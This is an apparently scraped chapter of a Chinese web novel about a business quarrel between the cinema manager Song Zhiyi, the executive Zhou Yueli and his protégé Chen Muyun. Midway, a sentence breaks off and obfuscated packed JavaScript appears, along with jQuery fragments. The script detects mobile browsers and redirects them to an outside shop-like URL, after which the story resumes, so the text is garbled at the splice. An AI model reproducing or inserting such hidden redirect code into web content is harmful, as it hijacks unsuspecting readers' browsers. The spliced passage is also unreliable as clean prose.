“师父,你在里面吗?我有很要紧的事要和你商议。”
这个声音一出,宋知意和周岳理默契地对视了一眼。
陈穆昀怎么来了?
她环顾四周,发现无处可避,出去也不是,呆在这也不是。
偏偏周岳理回复地十分及时,一点没有给她反应的机会:“稍等。”
宋知意满脸写着“懵”字,无奈地摊开了手:我出去?还是在这儿当门神?
周岳理比出噤声的手势,从座位上站起身来,而后拉开了休息室的大门,示意宋知意进去做以等待。
她还没有反应过来,休息室的大门就已经被周岳理关上了。
这人什么意思?就这么替她做决定了?
那听到了些什么不该听的,可就不能怪她了。宋知意撇了撇嘴,默默地靠近着休息室的门。
现下她和周岳理勉强算是半条船上的人,可惜但船上了一半,就被陈穆昀急匆匆打断了。
宋知意倒是十分好奇这人究竟遇到了什么麻烦。
另一边。
周岳理拉开了办公室的大门,迎陈穆昀进来:“怎么了?什么事都值得你这么着急?”
“师父……”陈穆昀犹犹豫豫,摸了摸脑袋,“您刚刚是不是生气了?”
此话一出,让休息室内的宋知意露出了“囧”字脸:……这可真是个大“麻烦”啊。
那边周岳理的脸色也不好看,为调整自己的思绪,他又重新回到了软椅上。
见他一言不发,陈穆昀难得低下了头:“师父,这次是我莽撞了。”
周岳理嗤笑一声,用手摸了摸额角:“这话听的我耳朵都起茧子了。”
“你总这么说,有哪一次是真的吸取到了经验呢?”
“师父……”陈穆昀长叹,“我明白您的意思,想让我在她们的影院两边都打好交道。但是,那个宋知意气冲冲地走了,我也没办法再去追她了……”
周岳理瞥了他一眼:“没办法?”
“我有教过你做错了事,先打退堂鼓,然后说自己没办法吗?”他露出了平和的微笑,却让陈穆昀如芒在背。
“其实,你根本没有意识到自己做的有问题吧?”周岳理挑了一下眉。
见自己真实的想法被猜中,陈穆昀抬起头来,利索摊牌:“是。”
“无论从哪个角度看,我都认为老城区里的小镇出不了好的影院。而且,我也不觉得宋知意那个女人能成什么大事。”
“她啊,不过有那么一点小聪明,在投机取巧罢了。”
周岳理被这个说法逗笑了:“你只看到了广水市的金碧辉煌,有人下海经商,有头有面。但你知道,那些人也是从小镇里走出来的吗?”
“现在坐在这个办公室里的人,我,也是从小镇里出来的。难道你也看不起我吗?”
“我们这些人的成功,难不成也是投机取巧?”
“这不一样。”
“我不是那个意思。”陈穆昀语无伦次,连忙摇头,“师父,我最敬重的就是您了。”
周岳理叹息一声:“小渔村现在都发展成大都市了,这变化翻天覆地,当初谁能想到呢?”
“你不能困在事物的过去啊,他们没准会有很光明的未来。”
“您说的道理我都明白。”陈穆昀偏头,闭上了眼睛,“反正……我就是觉得宋知意的那个影院比不上我们连锁的宏图。”
“而且他们还是一个名不见经传的个企,就算到了未来,也比不上我们。”
“比不上?”周岳理轻笑一声,“比不上你今天还去找人家要创意……你究竟是在针对闪光影院?还是在针对那个宋知意啊?”
陈穆昀彻底懵了,说实话,他自己都没有想过这个问题。出生在象牙塔里,他觉得很多事情都是理所当然的,比如臣服。
没有能力的弱者就应该向站在高位的强者献出忠诚,这可是他的生存法则。
但显然,宋知意从一开始就踩到了他的雷区。
近两次接触下来,陈穆昀发现她的字典里就没有“退让”这两个字。
这怎么能行?
他会一笔一画地将这个词语强加给宋知意的世界,直到她主动求饶。
可惜……
目前闹到了这个场面,陈穆昀发现自己还是想简单了,宋知意这个人并没有那么容易被摆布。
而自己……好像真的在意气用事了。
“我……”陈穆昀无法将这些扭曲的心思宣之于口,只能给出否定的回答,“我没有。”
“我只是觉得她认不清楚自己的定位,痴心妄想地跟我提条件……”
周岳理没忍住扶额,筋疲力尽,“穆昀啊,我觉得是你没认清自己的定位。”
“市公司首次启动连锁影院企划,这是前所未有的事情,谁都是第一次接触。我们在城里还有乡镇都选择了试点,但你觉得我们有丰富的经验吗?”
陈穆昀绷着张脸,回答道:“没有。”
很快,他便意识到了周岳理的用意,补充道:“我承认。”
“客观来说,宋知意经营影院的模式的确十分新颖,如果能在这个圈子里推展开来,我们也能强占先机。”
见他大脑恢复了几分澄澈,周岳理打了一个巴掌又喂一个甜枣:“是啊,说的不错。她的影院可以为我们的影院起到一个引领作用,你自己都意识到了……”
可陈穆昀的大脑还没澄澈半分钟,就再次变得浑浊。
他扯了扯嘴角,信誓旦旦道:“所以我们才更应该拿到她的模式,然后利索地将她踢出局。”
“她毕竟不是我们的人。宋知意的影院发展起来了,我们的影院又该怎么办?”
“难道我们要被冠上抄袭的名号吗?师父,您也不希望看到这个场面吧,与其这样,我们倒不如斩草除根。”
周岳理皱着眉,真诚发问:“你觉得什么东西都是能被复刻的吗?我们是要向优秀的影院学习,而不是没有自身特色地全然照搬。”
“所以,抄袭并没有什么可担心的。”他顿了顿,“而且,我们掌握着终端排片资源,现在又开发出了这一条渠道,你觉得可能没有前景吗?”
陈穆昀点点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264655|196127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可显然没有听进去:“我们宏图影院既然前景这么远大,那更不用顾及宋知意了。而且她的经营模式,林经理已经掌握得差不多了。”
见周岳理的面色凝重,陈穆昀又复述了一遍:“师父,我们真的没有必要考虑她。这个宋知意骨头硬,还受不了一点委屈,跟我提出利益交换,却摆不出求人的态度。”
“这怎么可以?”
周岳理不打算再跟他对话了,简直浪费口舌,多此一举。这小子分明就是意气用事,还说不是在针对宋知意……
疯子。
偏偏这个疯子还得让他“护”着,“宠”着,打不得骂不得,简直是烫手山芋。
这些话如果让宋知意听见了可怎么办啊?他们合作才谈了一半……
一切真是恰到好处。
很不巧,休息室内的“本尊”一字不漏地认识到了陈穆昀的固执。
听完那一长串的对话,她不知道强忍了多少次破门而出的冲动。现下,怒火彻底爆发了。
宋知意作出云淡风轻的模样,拉开了休息室的门:“陈总,您和我五行相克吗?还是您身高不够,非得逼着别人跪下看你?”
陈穆昀面庞上尽显惊愕,立即偏头询问着周岳理:“师父,她为什么会在你的休息室……”
过了几秒钟,他露出了恍然大悟的神情,对宋知意笑笑:“我说呢?你为什么对我爱答不理……原来早已经傍上我师父了。”
“我师父好,会体贴人,但我好像也不差啊……”他有些懊恼,“可能是我相处起来,比较有难度。”
“见说服不了我,你就来向我师父求饶了吗?原来,你会低头啊……”他渐渐露出了玩味的笑容。
宋知意看着他这一副贱样,恨得牙痒痒,实在不知道这种人究竟是在拿哪个器官进行思考……
她彻底撕破了脸皮,蔑视道:“傻叉,我天生就是站着的,学不会向别人下跪。”
“但我很乐意收下你的膝盖,想试试吗?”
陈穆昀捂着嘴角,嗤笑一声:“师父,她竟然骂我?”
“哈哈哈,有意思。”他看向周岳理,“师父,您管管她啊。”
疯子。
周岳理也强压怒火有一阵了,利索地拿起桌子上的茶杯,摔在了地上:“带着你龌/龊的大脑滚出去!”
“滚!”
此话一出,陈穆昀这下意识到自己好像误会了他们之间的关系,心虚喊了一声:“师父,对不起,是我误会了……”
周岳理低声骂了一句,又坚定地说道:“滚出去!”
气氛僵持成这样,陈穆昀朝他鞠了一躬,临走前还瞪了宋知意一眼。
她也瞪了回去,可还是不够解气,心里真是窝火。
周岳理十分不好意思,连忙打圆场:“宋经理,他就是个毛头小子,你见谅,我会好好处理他的。”
毛头小子?
不对,是刺猬疯子。
宋知意没有立即回话,缓和了片刻,作出了理智的决定:“周总,这个合作我谈不下去了。”
“您另请高明吧。”